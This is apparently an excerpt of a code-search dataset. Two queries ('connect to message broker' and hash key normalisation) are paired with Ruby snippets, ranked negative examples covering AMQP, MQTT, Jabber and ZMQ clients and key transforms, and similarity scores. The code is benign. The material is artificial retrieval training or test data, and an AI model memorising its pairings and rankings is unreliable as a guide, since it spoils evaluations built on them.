query
stringlengths 7
9.55k
| document
stringlengths 10
363k
| metadata
dict | negatives
listlengths 0
101
| negative_scores
listlengths 0
101
| document_score
stringlengths 3
10
| document_rank
stringclasses 102
values |
|---|---|---|---|---|---|---|
connect to message broker
|
def connect(*args, &block)
self.connection = RStomp::Connection.open(configuration.to_hash)
# If the connection has swapped hosts, then swap out primary and secondary
if connection.current_host != configuration.host
configuration.secondary_host = configuration.host
configuration.host = connection.current_host
end
# If the connection has swapped ports, then swap out primary and secondary
if connection.current_port != configuration.port
configuration.secondary_port = configuration.port
configuration.port = connection.current_port
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def connect!\n EventMachine.run do\n EventMachine::MQTT::ClientConnection.connect(@server) do |c|\n c.subscribe(@topic)\n c.receive_callback do |message|\n handle_incoming_message(message)\n end\n end\n end\n end",
"def connect!\n start_em\n @client.ensure_connect\n end",
"def connect\n @connection_manager.connect\n end",
"def connect\n connection = Bunny.new(connection_attributes.\n merge(:pass => connection_attributes[:password]))\n connection.start\n \n # NOTE: This is a super undocumented feature that you will probably know\n # about only from reading AMQP specs. If we want to subscribe, but abort\n # subscription before all messages are read, we need to turn this on,\n # otherwise the server will go on and deliver all remaining messages in\n # turn. See also the :ack => true flag in ServerTransport... 23Dez09, ksc\n connection.qos\n\n connection\n end",
"def connect opts={}\n unless EM.reactor_running?\n Thread.new { EventMachine.run }\n sleep 0.5\n end\n @connection = AMQP.connect(opts)\n end",
"def connect\n if @connected\n block_given? and yield Exception.new 'mailbox has already connected'\n return\n end\n\n begin\n @ws = WebSocket::EventMachine::Client.connect :uri => 'ws://' + @host + ':' + @port.to_s\n @ws.onopen {\n return if @connected\n @connected = true\n @timer = EM.add_periodic_timer(@interval) { flush } if @buffer_msg\n block_given? and yield\n }\n\n @ws.onmessage { |msg, type|\n process_msg msg, type\n }\n\n @ws.onerror { |err| }\n @ws.onclose { |code, reason|\n emit :close, @id\n }\n rescue => err\n block_given? and yield err\n end\n end",
"def amqp_connect\n\n ocon = opt('connection')\n\n if BOSS.connection && ( ! ocon)\n BOSS.connection\n else\n Bunny.new(Ruote.keys_to_sym(ocon || {}))\n end\n end",
"def connect\n @connector.connect\n @p.set_connection @connector\n end",
"def connect\n # backwards compatible code\n @host ||= ::Ragnar::Config.host\n @port ||= ::Ragnar::Config.port\n @connection = ::AMQP.connect({:host => @host, :port => @port})\n end",
"def connect!; end",
"def connect!; end",
"def connect\n end",
"def connect_amqp!\n username = config['rabbitmq']['username']\n password = config['rabbitmq']['password']\n host = config['rabbitmq']['host']\n port = config['rabbitmq']['port']\n vhost = config['rabbitmq']['vhost']\n\n puts \"connecting to amqp://#{username}:#{password}@#{host}:#{port}/#{vhost}\"\n connection = AMQP.connect(\"amqp://#{username}:#{password}@#{host}:#{port}/#{vhost}\")\n self.channel = AMQP::Channel.new(connection)\n\n # RingBase -> Invoca control queue\n control_channel_queue_name = config['control_channel_queue_name']\n self.control_queue = channel.queue(control_channel_queue_name, auto_delete: true)\n\n\n # Invoca -> RingBase update exchange\n update_exchange_name = config['update_exchange_name']\n self.update_exchange = channel.fanout(update_exchange_name)\n self.update_queue = channel.queue('', exclusive: true)\n update_queue.bind(update_exchange)\n end",
"def connect_topic\n # scott old ack auot\n # see http://activemq.apache.org/stomp.html for activemq.dispathAsync settig\n self.conn.subscribe( self.topic, { :ack =>\"client\" , 'activemq.dispatchAsync' => 'false'}) { |msg| \n \n self.msg_count+=1\n \t begin\t\n \t self.conn.acknowledge(msg,msg.headers) \n \t self.queue << msg \n \t \n rescue Exception => e\n self.exception_count+=1\n puts \" Thread: :exception found #{e.backtrace}\" \n puts \"Thread: :exception messag #{e.message}\"\n end\n \n }\n end",
"def connect(host = DEFAULT_HOST, port = DEFAULT_PORT)\n self.socket = create_socket(host, port)\n\n identify\n\n remote_host = socket.peeraddr[3]\n remote_port = socket.peeraddr[1]\n\n logger.info(\"Connected to #{remote_host}:#{remote_port}.\")\n return true\n rescue Errno::ECONNREFUSED\n logger.error('Connection refused! Is the Broker running?')\n return false\n end",
"def connect\n connection.connect\n nil\n end",
"def connection\n ::SmartQue.establish_connection\n end",
"def connect!\n end",
"def connect\n unless(callbacks.empty?)\n unless(lookupd.empty?)\n build_consumer\n info \"Consumer connection for #{topic}:#{channel} established #{reader}\"\n end\n end\n build_producer\n end",
"def connect\n @notification_server = EM.connect 'messenger.hotmail.com', 1863, Msn::NotificationServer, self\n end",
"def connect; end",
"def connect()\n\t\t\t# Check queen(s) for peer list\n\n\t\t\t# Connect to peers\n\t\tend",
"def connect(*) end",
"def connect\n client.connect(config.host, config.port)\n client.auth(config.password)\n client.send(Jabber::Presence.new.set_type(:available))\n\n self.roster = Jabber::Roster::Helper.new(client)\n roster.wait_for_roster\n\n self.rooms = self.config.rooms.collect do |room_name|\n Robut::Room.new(self, room_name).tap {|r| r.join }\n end\n\n if self.config.enable_private_messaging\n Robut::PM.new(self, rooms)\n end\n\n trap_signals\n self\n end",
"def connect\n @comm.connect(opts.user, opts.password, opts.server)\n end",
"def connect(address, reconnect_interval)\n begin\n logger.info(\"[setup] Connecting to broker #{@identity}, alias #{@alias}\")\n @status = :connecting\n @connection = AMQP.connect(:user => @options[:user],\n :pass => @options[:pass],\n :vhost => @options[:vhost],\n :host => address[:host],\n :port => address[:port],\n :ssl => @options[:ssl],\n :identity => @identity,\n :insist => @options[:insist] || false,\n :heartbeat => @options[:heartbeat],\n :reconnect_delay => lambda { rand(reconnect_interval) },\n :reconnect_interval => reconnect_interval)\n @channel = MQ.new(@connection)\n @channel.__send__(:connection).connection_status { |status| update_status(status) }\n @channel.prefetch(@options[:prefetch]) if @options[:prefetch]\n @channel.return_message { |header, message| handle_return(header, message) }\n rescue StandardError => e\n @status = :failed\n @failure_stats.update\n logger.exception(\"Failed connecting to broker #{@alias}\", e, :trace)\n @exception_stats.track(\"connect\", e)\n @connection.close if @connection\n end\n end",
"def establish_connection\n end",
"def connect_to_server\n @service.connect(connect_settings)\n end",
"def start_broker()\n\n Thread.new do\n `ruby -r 'simplepubsub' -e \"SimplePubSub::Broker.start port: '55000'\"`\n end\n\n end",
"def connect\n #trap(\"INT\") {EM.stop}\n\n EventMachine.run do\n @connection = MQTT::ClientConnection.connect(@remote_host, @remote_port)\n\n # Stuff happens here\n yield(self)\n\n # Disconnect once all the other deferred callbacks\n @connection.callback do\n disconnect\n end\n\n puts \"Finished initing run\"\n end\n end",
"def connect\n\t\t# create a jabber client connection\n\t\t@jabberclient.connect( JABBER_SERVER, JABBER_PORT );\n\t\t@jabberclient.auth(JABBER_PASSWD)\n\n\t\t@jabberclient.send(Jabber::Presence.new(:chat, 'Birdbox is waiting since ' + Time.now.to_s))\n\n\t\t@jabberchatroom = Jabber::MUC::MUCClient.new(@jabberclient)\n\t\t@jabberchatroom.join(Jabber::JID::new( JABBER_CHATROOM + '/' + @jabberclient.jid.node))\n\n\t\t# create a new message object which will be used later on\n\t\t@jabbermsg = Jabber::Message.new( JABBER_TO );\n\t\t@jabbermsg.type = :chat\n\t\t@jabberReconnect = false\n\t\t@jabberRetryMessage = ''\n\tend",
"def connect\n\tend",
"def connect\n @connection.create\n end",
"def on_container_start(container)\n # Connecting to broker and creating sender\n container.connect(\n # Set broker URI\n @broker,\n # Enable SASL authentication\n sasl_enabled: true,\n # Enable insecure SASL mechanisms\n sasl_allow_insecure_mechs: true,\n # Set allowed SASL mechanisms\n sasl_allowed_mechs: @sasl_mechs\n ).open_sender(@broker.amqp_address)\n end",
"def direct_connect\n debug \"Connection will be established via direct connection #{host}:#{port}\"\n connection = build_connection(host, port, queue)\n if(register(connection))\n info \"Registered new connection #{connection}\"\n distribution.redistribute!\n else\n abort Error::ConnectionFailure.new(\"Failed to establish subscription at provided end point (#{host}:#{port}\")\n end\n connection\n end",
"def connect\n @connection.open\n end",
"def set_up_channel\n amqp_conn = Bunny.new\n amqp_conn.start\n channel = amqp_conn.create_channel\nend",
"def connect\n EM.run do\n client = Faye::WebSocket::Client.new(@url)\n reconnect_url = nil\n\n client.on :message do |msg|\n message_received(client, msg)\n end\n\n client.on :open do |e|\n OutputLogger.logger.info 'Connection Opened!'\n end\n\n client.on :close do |e|\n OutputLogger.logger.info 'Connection closed, trying to reconnect.'\n\n reconnect\n end\n\n client.on :error do |e|\n OutputLogger.logger.error e.inspect\n end\n\n client.on 'transport:down' do |e|\n OutputLogger.logger.info 'Connection down.'\n end\n\n client.on 'transport:up' do |e|\n OutputLogger.logger.info 'Connection back up, trying to reconnect.'\n\n reconnect\n end\n end\n end",
"def connect\n # Implement in subclass\n end",
"def em_connect()\n @mutex.synchronize do\n @wscon = WebSocket::EventMachine::Client.connect(:uri => @wsuri)\n end\n @wscon.comm_inactivity_timeout = 60\n\n @wscon.onopen do\n @status = :open\n end\n\n @wscon.onmessage do |data|\n EM.defer do\n packet = JSON.load(data)\n if @status == :open\n if packet.has_key? \"error\"\n LogService.warn \"packet error: #{packet[\"type\"]}, #{packet[\"error\"]}\"\n end\n \n if @callbacks.has_key? packet[\"type\"]\n @callbacks[packet[\"type\"]].each do |c|\n c.call(packet[\"data\"])\n end\n end\n end\n end\n end\n\n @wscon.onclose do |code, reason|\n if @status == :closing\n @status = :closed\n elsif @status == :open || @status == :opening\n @status = :opening\n EM.add_timer(10) do\n em_connect()\n end\n end\n end\n end",
"def connect\n connection.tap do |c|\n c.start\n end\n end",
"def connect\n rabbit.transaction_short do\n @publisher = Rabbit::Publisher::Admin.new(rabbit.channel)\n yield\n end\n end",
"def connect(connector = ::Stomp::Connection)\n if @connection\n Log.debug(\"Already connection, not re-initializing connection\")\n return\n end\n begin\n host = nil\n port = nil\n user = nil\n password = nil\n @@base64 = false\n\n @@base64 = get_bool_option(\"stomp.base64\", false)\n @@msgpriority = get_option(\"stomp.priority\", 0).to_i\n\n # Maintain backward compat for older stomps\n host = get_env_or_option(\"STOMP_SERVER\", \"stomp.host\")\n port = get_env_or_option(\"STOMP_PORT\", \"stomp.port\", 6163).to_i\n user = get_env_or_option(\"STOMP_USER\", \"stomp.user\")\n password = get_env_or_option(\"STOMP_PASSWORD\", \"stomp.password\")\n\n #TODO: assume reactor is running already\n @connection = EM.connect host, port, StompClient, :login => user, :passcode => password\n Log.debug(\"Connecting to #{host}:#{port}\")\n rescue Exception => e\n pp e.backtrace[0..5]\n raise(\"Could not connect to Stomp Server: #{e}\")\n end\n end",
"def on_container_start(container)\n # Connecting to broker and creating sender\n container.connect(\n # Set broker URI\n @broker,\n # Enable SASL authentication\n sasl_enabled: @sasl_enabled,\n # Enable insecure SASL mechanisms\n sasl_allow_insecure_mechs: true,\n # Set allowed SASL mechanisms\n sasl_allowed_mechs: @sasl_mechs,\n # Set idle timeout\n idle_timeout: @idle_timeout,\n # Set max frame size\n max_frame_size: @max_frame_size,\n ).open_sender({\n # Set target address\n :target => anonymous ? nil : @broker.amqp_address,\n # Set auto settle\n :auto_settle => @auto_settle_off ? false : true,\n })\n end",
"def connect\n start_listener!\n end",
"def connect\n rabbit.transaction_short do\n choose_queue\n yield\n end\n end",
"def connect\n debug \"setting up.. jid #{base.config[:account_jid]}\" \n cl = Jabber::Client.new(Jabber::JID::new(base.config[:account_jid]))\n @client = cl\n begin\n debug \"connect\"\n cl.connect \n debug \"auth\"\n cl.auth base.config[:account_password]\n # XXX should catch only proper exception types (including Jabber::ClientAuthenticationFailure)\n rescue Exception => ex \n debug \"EX: #{ex.class} \"\n debug ex.backtrace\n @base.auth_failure \n end\n \n @roster = Jabber::Roster::Helper.new cl \n @roster.add_presence_callback do |item,oldpres,pres|\n pres = Jabber::Presence.new unless pres\n oldpres = Jabber::Presence.new unless oldpres \n status = pres.status.to_s\n presence = pres.show || :available\n jid = item.jid\n # XXX unavaliable\n presence = :unavailable if pres.status.to_s == 'unavailable'\n debug \"item #{jid} chaged presence to #{presence} status #{status}\"\n base.item_presence_change(jid.to_s,presence,status)\n end\n \n @base.roster_items = get_roster_items\n\n @client.send Jabber::Presence.new\n \n set_presence\n\n cl.add_message_callback do |m|\n if m.type != :error\n debug \"message received from #{m.from} type #{m.type}\"\n @base.message_received(m.from.to_s,m.body)\n end\n end\n end",
"def create_connection\n self.setup\n RfmAdaptor::Connection.new(self.server_name)\n end",
"def run\n connect\n end",
"def connect(endpoint)\n rc = LibZMQ.zmq_connect @pointer, endpoint\n ZMQ.error_check true if rc==-1\n end",
"def connect\n @interface.connect\n end",
"def spawn_connection\n connect\n end",
"def connect\n @connection_pool.get_connection\n end",
"def connect\n Connection.new\n end",
"def initialize\n @connection = Bunny.new(ENV['CLOUDAMQP_URL'] || ENV['AMQP_HOST'])\n @connection.start\n @channel = connection.create_channel\n @exchange = channel.topic(ENV['AMQP_EXCHANGE'] || ENV['SERVICE_NAME'])\n end",
"def setup\n\n\tsb = ServerBroker.new\n\tcb = ClientBroker.new(sb)\n\tcp = ClientProxy.new(cb)\n\n\tClient.new(cp)\n\nend",
"def connect_bunny(queue)\n bunny_logfile = File.expand_path(File.dirname(__FILE__) + '/' + APP_CONFIG['rabbit_mq']['log_file'])\n bunny = Bunny.new(:user => APP_CONFIG['rabbit_mq']['user'],\n :pass => APP_CONFIG['rabbit_mq']['pass'],\n :host => APP_CONFIG['rabbit_mq']['host'],\n :port => APP_CONFIG['rabbit_mq']['port'],\n :vhost => APP_CONFIG['rabbit_mq']['vhost'],\n :logging => APP_CONFIG['rabbit_mq']['logging'],\n :logfile => bunny_logfile)\n bunny.start\n bunny.queue(APP_CONFIG['rabbit_mq'][queue])\nend",
"def connect\n service\n end",
"def connect\n\t\t@client.start\n\n\t\t# Set up our input and output exchange/queue\n\t\t@output = @client.exchange( @playername, :passive => false )\n\t\t@queue = @client.queue\n\n\t\t@exchange = @client.exchange( @playername, :passive => false )\n\t\t@queue = @client.queue( \"#{@playername}_output\", :exclusive => true )\n\n\t\tlogin_exchange = @client.exchange( 'login', :type => :direct, :auto_delete => true )\n\n\t\t# Set up the queue to handle incoming connections\n\t\tself.log.debug \" setting up the connections queue...\"\n\t\t@connect_queue = @playersbus.queue( 'connections', :exclusive => true )\n\t\t@connect_queue.bind( @login_exch, :key => :character_name )\n\t\t@connect_queue.subscribe(\n\t\t\t:header => true,\n\t\t\t:consumer_tag => 'engine',\n\t\t\t:exclusive => true,\n\t\t\t:no_ack => false,\n\t\t\t&self.method(:handle_connect_event)\n\t\t )\n\tend",
"def connect(params)\n if @environment.in_dry_run_mode\n notify(:msg => \"[#{@name}] Would connect issue #{params[:issue]} to the message bus for tags #{params[:to]}\",\n :tags => [:jira, :dryrun])\n nil\n else\n key = get_param(params, :issue)\n tags = get_param(params, :to)\n issue = issueify(key)\n if issue\n @environment.connect_message_listener(:listener => IssueMessageListener.new(self, issue), :tags => tags)\n notify(:msg => \"[#{@name}] Connected issue #{issue.key} to the message bus for tags #{tags}\",\n :tags => [:jira, :trace])\n else\n raise \"Could not find JIRA issue #{key}\"\n end\n issue\n end\n end",
"def connect\r\n \t# Login\r\n #jid = JID::new(\"pmontrasio@gmail.com\", \"talk.google.com\", \"arduino\")\r\n\tjid = JID.new(\"kit@tinkerkit.com/Testing\")\r\n #password = \"arduinopwd\"\r\n\tpassword = \"1234567890\"\r\n @cl = Client.new(jid)\r\n @cl.connect\r\n @cl.auth(password)\r\n\t@queue = Array.new\r\n\t@cl.add_message_callback { |msg|\r\n\t @mutex.synchronize do\r\n\t\t@queue << msg\r\n\t end\r\n\t}\r\n\treturn true\r\n rescue ClientAuthenticationFailure => e\r\n return false\r\n end",
"def start\n self.connect\n self.login if @connected\n end",
"def connection\n @connection.connect\n end",
"def connect\n @client = Redis.new(host: @host, port: @port)\n @logger.info(\"Connecting to database #{@host}:#{@port}\")\n end",
"def connect\n require 'osc-ruby' unless defined?(::OSC)\n port = additional_params[:port] || 3333\n @client = OSC::Server.new(port)\n super\n end",
"def connect\n @cluster.connect\n end",
"def connect\n client = Mysql2::Client.new(:host => HOST,\n :username => USERNAME,\n :password => PASSWORD,\n :database => DATABASE)\n end",
"def messaging_client\r\n @messaging_client ||= Messaging::Client.new(config: config)\r\n end",
"def connect(username, password, server)\n jid = \"#{username}@#{server}\"\n client.setup(jid, password)\n client.run\n end",
"def connect\n raise NotImplementedError, \"#connect should be overriden by adapters\"\n end",
"def connect\n\t\tp 'JabberClient.connect'\n\t\ttrue\n\tend",
"def connect client, *headers\n # I really don't care for this. A core part of the CONNECT/CONNECTED\n # exchange can only be accomplished through subclasses.\n write_frame_nonblock connect_frame(*headers)\n client_con = nil\n until client_con\n io_process_write { |f| client_con ||= f }\n end\n update_last_received\n broker_con = nil\n until broker_con\n io_process_read(true) { |f| broker_con ||= f }\n end\n raise OnStomp::ConnectFailedError if broker_con.command != 'CONNECTED'\n vers = broker_con.header?(:version) ? broker_con[:version] : '1.0'\n raise OnStomp::UnsupportedProtocolVersionError, vers unless client.versions.include?(vers)\n @connection_up = true\n [ vers, broker_con ]\n end",
"def connect(channel)\r\n $LOG.info(\"Connecting to #{channel} channel.\")\r\n @channel = channel\r\n @pubNub.subscribe(\r\n :channel => @channel,\r\n :callback => method(:msgHandler),\r\n :http_sync => true\r\n )\r\n @pubNub.subscribe(\r\n :channel => @channel,\r\n :callback => method(:msgHandler),\r\n :http_sync => false\r\n )\r\n end",
"def connect\n raise NotImplementedError, \"#connect should be overridden by adapters\"\n end",
"def connect\n info \"Connecting to #{ @host }\"\n\n begin @session.open(@credentials)\n rescue Exception => e\n error e.message\n end\n \n info \"Transport is #{ @session.transport.class }\"\n end",
"def broker(frontend_address, backend_address)\n # Socket facing clients\n frontend = ZMQP1::RouterSocket.new(:identity => \"[ZMQP1::Broker] Router: From #{frontend_address}\")\n frontend.bind(frontend_address)\n\n # Socket facing services\n backend = ZMQP1::DealerSocket.new(:identity => \"[ZMQP1::Broker] Dealer: To #{backend_address}\")\n backend.bind(backend_address)\n\n at_exit do\n frontend.close\n backend.close\n end\n ZMQP1.logger.debug{ \"Broker setup: #{frontend_address} -> #{backend_address}\"}\n # Start built-in proxy; this is a ZMQ::Queue that acts as a broker to the outside system\n # TODO: figure out how to terminate this proxy; it hangs up the system\n ::ZMQ::Proxy.new(frontend.raw_socket, backend.raw_socket)\n end",
"def configure_connection\n end",
"def connection\n @connection ||= Bunny.new RabidMQ::Config.load_config\n end",
"def on_client_connect(client)\n end",
"def on_container_start(container)\n # Connecting to broker and creating receiver\n @receiver = container.connect(\n # Set broker URI\n @broker,\n # Enabled SASL authentication\n sasl_enabled: true,\n # Enabled insecure SASL mechanisms\n sasl_allow_insecure_mechs: true,\n # Set allowed SASL mechanisms\n sasl_allowed_mechs: @sasl_mechs\n ).open_receiver(@broker.amqp_address)\n # If browse messages instead of reading\n if browse\n # Set browsing mode\n @receiver.source.distribution_mode = \\\n Qpid::Proton::Terminus::DIST_MODE_COPY\n end\n end",
"def connect\n @connection_manager.connect\n return self\n end",
"def makeMQTTConnection()\n\n if ( !@mqtt_client.nil? && @mqtt_client.connected?)\n return\n end\n\n # trying anyway to release the client just in case\n closeMQTTConn()\n\n begin\n @mqtt_client = MQTT::Client.connect(\n :host => @mqtt_conf['host'],\n :port => @mqtt_conf['port'],\n :ssl => @mqtt_conf['ssl'],\n :clean_session => @mqtt_conf['clean_session'],\n :client_id => @mqtt_conf['client_id'],\n :username => @mqtt_conf['username'],\n :password => @mqtt_conf['password']\n )\n @mqtt_client.subscribe(@mqtt_conf['topic'],@mqtt_conf['QoS'])\n\n rescue MQTT::ProtocolException,MQTT::Exception,Timeout::Error,Errno::ECONNREFUSED,Errno::ENETUNREACH,Errno::ETIMEDOUT,SocketError => e\n $stderr.puts \"ERROR: while connecting to MQTT server, class: #{e.class.name}, message: #{e.message}\"\n\n if @byebye\n return\n end\n\n $stderr.puts \"Sleep #{@mqtt_conf['sleep']} seconds and retry\"\n slept = sleep @mqtt_conf['sleep']\n $stderr.puts \"Slept #{slept} seconds\"\n retry\n end\n\n return\n\n end",
"def connect_using conn\n @connection = conn\n end",
"def connect!\n host, port = @current_server.split(\":\")\n @socket = TCPSocket.new(host, port)\n @transport = Avro::IPC::SocketTransport.new(@socket)\n @requestor = Avro::IPC::Requestor.new(@options[:protocol], @transport)\n rescue Avro::AvroError, Errno::ECONNREFUSED, Errno::EPIPE, IOError => e\n @transport.close rescue nil\n raise e\n end",
"def configure_connection\n end",
"def connect(*args)\n raise NotImplementedError\n end",
"def connect\n @connection = Net::IMAP.new(@options[:server], :port => @port, :ssl => @use_ssl)\n\n Mailman.logger.info \"CONNECTING TO #{@server}, #{@username} #{@password}\"\n @connection.authenticate(@options[:authenticate_with]||'LOGIN', @username, @password)\n unless @connection.list('', '%').any?{|mailbox| mailbox.name == 'Processed'}\n @connection.create('Processed')\n end\n Mailman.logger.info \"Connection established\"\n @connection.select 'INBOX'\n end",
"def connect(host=\"localhost\", port=2230)\n output_stream.puts \"sending request for a new game...\"\n EventMachine::run {\n EventMachine::connect host, port, GameBroker, &method(:setup_handler)\n }\n end",
"def _connect_database\n _send_command(\"db_connect #{@options[:db_user]}:#{@options[:db_pass]}@#{@options[:db_host]}/#{@options[:db_name]}\")\n end",
"def mqtt_client\n client_opts = {\n client_id: client_id,\n username: datastore['USERNAME'],\n password: datastore['PASSWORD'],\n read_timeout: read_timeout\n }\n Rex::Proto::MQTT::Client.new(sock, client_opts)\n end",
"def set_broker\n @broker = Broker.find(params[:id])\n end",
"def set_broker\n @broker = Broker.find(params[:id])\n end",
"def start\n _connect\n sleep 1\n end",
"def connect!\n i = 0\n DRb.start_service(URI, @@queue, verbose: true)\n rescue DRb::DRbConnError, Errno::EADDRINUSE\n sleep 0.1 and retry if (i += 1) < 5\n error 'Could not connect to DRb server.'\n end",
"def connect\n \n if !self.connected?\n \n # connect to the MySQL server\n \n @dbh = DBI.connect(\"DBI:Mysql:#{@dataBase}:#{@host}\", \n\t \"#{@user}\", \"#{@password}\")\n \n @connected=true\n \n end\n end",
"def connect(zookeepers)\n broker_ids = Hermann::Discovery::Zookeeper.new(zookeepers).get_brokers\n @producer = Hermann::Producer.new(nil, broker_ids)\n end",
"def connect\n \n if !self.connected?\n \n # connect to the MySQL server\n @dbh = DBI.connect(\"DBI:Mysql:#{@dataBase}:#{@host}\", \n\t \"#{@user}\", \"#{@password}\")\n @connected=true\n \n end\n end",
"def connect\n force_connect unless @handler\n end",
"def start\n @provider_queue = AMQP::Channel.new(@connection, :auto_recovery => true).fanout(@room)\n @channel = AMQP::Channel.new(@connection, :auto_recovery => true)\n @channel.on_error(&method(:handle_channel_exception))\n @queue = @channel.queue(\"\", :auto_delete => true).bind(@room)\n @queue.subscribe(&method(:handle_message))\n end",
"def connect\n @redis ||= create\n end",
"def connect \n log \"Connecting\"\n @socket = TCPSocket.new(config[:server], 6667)\n write \"USER #{config[:nick]} #{config[:nick]} #{config[:nick]} :#{config[:nick]}\"\n write \"NICK #{config[:nick]}\"\n write \"JOIN ##{config[:channel]}\"\n end"
] |
[
"0.74156755",
"0.70797694",
"0.6959796",
"0.6797792",
"0.67917204",
"0.678587",
"0.6738887",
"0.6713903",
"0.66733265",
"0.66208017",
"0.66208017",
"0.66204727",
"0.65994143",
"0.65585345",
"0.6554331",
"0.6553337",
"0.65460104",
"0.6526625",
"0.6523553",
"0.65055853",
"0.64648145",
"0.6447358",
"0.6435542",
"0.64300996",
"0.64181554",
"0.6408292",
"0.6404854",
"0.639419",
"0.6383557",
"0.6381364",
"0.63717633",
"0.63314515",
"0.62897414",
"0.62890714",
"0.6275628",
"0.62741816",
"0.6240126",
"0.623334",
"0.6229572",
"0.6228642",
"0.62105054",
"0.6189377",
"0.61786205",
"0.61765283",
"0.6168669",
"0.6151301",
"0.61455053",
"0.6143075",
"0.61367947",
"0.61308706",
"0.61179537",
"0.6097542",
"0.60974705",
"0.6096949",
"0.6087215",
"0.60830384",
"0.60684794",
"0.6058024",
"0.6052366",
"0.60327506",
"0.6028195",
"0.60125196",
"0.60121286",
"0.6002452",
"0.5964842",
"0.59647655",
"0.59640837",
"0.5963776",
"0.5959816",
"0.5957743",
"0.59212774",
"0.5910406",
"0.5908111",
"0.59044117",
"0.5899772",
"0.5892639",
"0.5886667",
"0.58833987",
"0.58831644",
"0.58694005",
"0.585908",
"0.58550745",
"0.58288884",
"0.5824396",
"0.5820193",
"0.5817574",
"0.58104587",
"0.5802492",
"0.57810766",
"0.5780885",
"0.5780438",
"0.5780438",
"0.57774496",
"0.5771407",
"0.5764868",
"0.5762641",
"0.5761322",
"0.57427573",
"0.57396555",
"0.573773",
"0.57257086"
] |
0.0
|
-1
|
normalize hash keys (top level only) normalizes keys to strings by default optionally pass in name of method to use (e.g. :to_sym) to normalize keys
|
def normalize_keys(hash, method = :to_s)
hash = hash.dup
hash.keys.each do |k|
normalized_key = k.respond_to?(method) ? k.send(method) : k
hash[normalized_key] = hash.delete(k)
end
hash
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def recursively_normalize_keys\n recursively_transform_keys { |key| key.downcase.to_sym rescue key }\n end",
"def normalize_keys\n transform_keys { |key| key.downcase.to_sym rescue key }\n end",
"def deep_symbolize_keys\n deep_transform_keys{ |key| key.to_sym rescue key }\n end",
"def deep_symbolize_keys!\n deep_transform_keys!{ |key| key.to_sym rescue key }\n end",
"def keys_to_sym clean: false\n self.inject({}){|memo,(k,v)| memo[clean ? k.to_s.to_clean_sym : k.to_s.to_sym] = (v.is_a?(Hash) || v.is_a?(Array) ? v.keys_to_sym(clean:clean) : v); memo}\n end",
"def deep_symbolize_keys\n deep_transform_keys { |key| key.to_sym rescue key }\n end",
"def deep_symbolize_keys!\n deep_transform_keys!{ |key| key.to_sym rescue key }\n end",
"def deep_symbolize_keys!\n deep_transform_keys!{ |key| key.to_sym rescue key }\n end",
"def deep_symbolize_keys!\n deep_transform_keys!{ |key| key.to_sym rescue key }\n end",
"def deep_symbolize_keys!\n deep_transform_keys! { |key| key.to_sym rescue key }\n end",
"def deep_symbolize_keys!\n deep_transform_keys! { |key| key.to_sym rescue key }\n end",
"def deep_symbolize_keys!\n deep_transform_keys! { |key| key.to_sym rescue key }\n end",
"def stringify_keys\n transform_keys { |key| key.to_s rescue key }\n end",
"def recursively_symbolize_keys\n recursively_transform_keys { |key| key.to_sym rescue key }\n end",
"def symbolize_keys!\n transform_keys!{ |key| key.to_sym rescue key }\n end",
"def symbolize_keys!\n transform_keys!{ |key| key.to_sym rescue key }\n end",
"def symbolize_keys!\n transform_keys!{ |key| key.to_sym rescue key }\n end",
"def symbolize_keys\n transform_keys { |key| key.to_sym rescue key }\n end",
"def symbolize_keys\n transform_keys { |key| key.to_sym rescue key }\n end",
"def symbolize_keys!\n transform_keys! { |key| key.to_sym rescue key }\n end",
"def symbolize_keys!\n transform_keys! { |key| key.to_sym rescue key }\n end",
"def symbolize_keys!\n transform_keys! { |key| key.to_sym rescue key }\n end",
"def normalize_keys(hash)\n hash.each{|k, v|\n hash.delete(k) unless @@valid_types.include?(v.class)\n if k.is_a?(String)\n hash.delete(k)\n hash[k.gsub(/\\-/, \"_\").to_sym] = v\n elsif !k.is_a?(Symbol) # elsunless\n hash.delete(k)\n end\n }\n return hash\nend",
"def normalize(hash)\n hash.symbolize_keys if hash\n end",
"def deep_symbolize_keys!(hash)\n deep_transform_keys!(hash){ |key| key.to_sym rescue key }\n end",
"def stringify_keys!\n transform_keys!{ |key| key.to_s }\n end",
"def normalize_key(key)\n case key\n when Numeric, nil\n # nils never happen here in Ruby >= 2.3 since nils\n # skip the normalizer.\n key\n else\n key.to_s.downcase.strip\n .gsub(/(?:\\s+|-)/, '_')\n .gsub(/[^a-zA-Z0-9_]+/, '')\n .squeeze('_')\n .gsub(/_$/, '')\n .to_sym\n end\n end",
"def rubyize_keys\n transform_keys do |key|\n key\n .to_s\n .gsub(/([A-Z]+)([A-Z][a-z])/, '\\1_\\2')\n .gsub(/([a-z\\d])([A-Z])/, '\\1_\\2')\n .downcase\n .to_sym\n end\n end",
"def deep_camelize_keys\n deep_transform_keys { |key| key.to_s.camelize(:lower) }\n end",
"def __convert(key)\n case key\n when Symbol then key.to_s\n when String then key.to_sym\n else key\n end\n end",
"def deep_stringify_keys!\n deep_transform_keys!{ |key| key.to_s }\n end",
"def deep_stringify_keys!\n deep_transform_keys! { |key| key.to_s }\n end",
"def to_normal_hash(hash)\n hash.to_h.transform_keys(&:to_sym)\n end",
"def stringify_keys!\n transform_keys!(&:to_s)\n end",
"def stringify_keys!\n transform_keys!(&:to_s)\n end",
"def stringify_keys!\n transform_keys!(&:to_s)\n end",
"def symbolize_keys!(hash)\n transform_keys!(hash){ |key| key.to_sym rescue key }\n end",
"def normalize_key(key)\n KEY_NORMALIZER.call(key)\n end",
"def normalize_key(key)\n key_mapping[EnumType.comparable(key)] || key.to_sym\n end",
"def stringify_keys!\n transform_keys!(&:to_s)\n end",
"def flatten_keys(hash)\n hash.transform_keys(&:downcase).transform_keys(&:to_sym)\n end",
"def recursively_stringify_key\n recursively_transform_keys { |key| key.to_s rescue key }\n end",
"def deep_stringify_keys!\n deep_transform_keys!(&:to_s)\n end",
"def deep_stringify_keys!(hash)\n deep_transform_keys!(hash){ |key| key.to_s }\n end",
"def deep_stringify_keys\n deep_transform_keys { |key| key.to_s }\n end",
"def keys_to_sym!(clean: false, recursive: true)\n replace(keys_to_sym(clean: clean, recursive: recursive))\n end",
"def stringify_keys!(hash)\n transform_keys!(hash){ |key| key.to_s }\n end",
"def normalize_options(options)\n options.to_sym_keys\n end",
"def keys_to_symbols()\n self.deep_convert_keys { |k| k.to_s.to_sym }\n end",
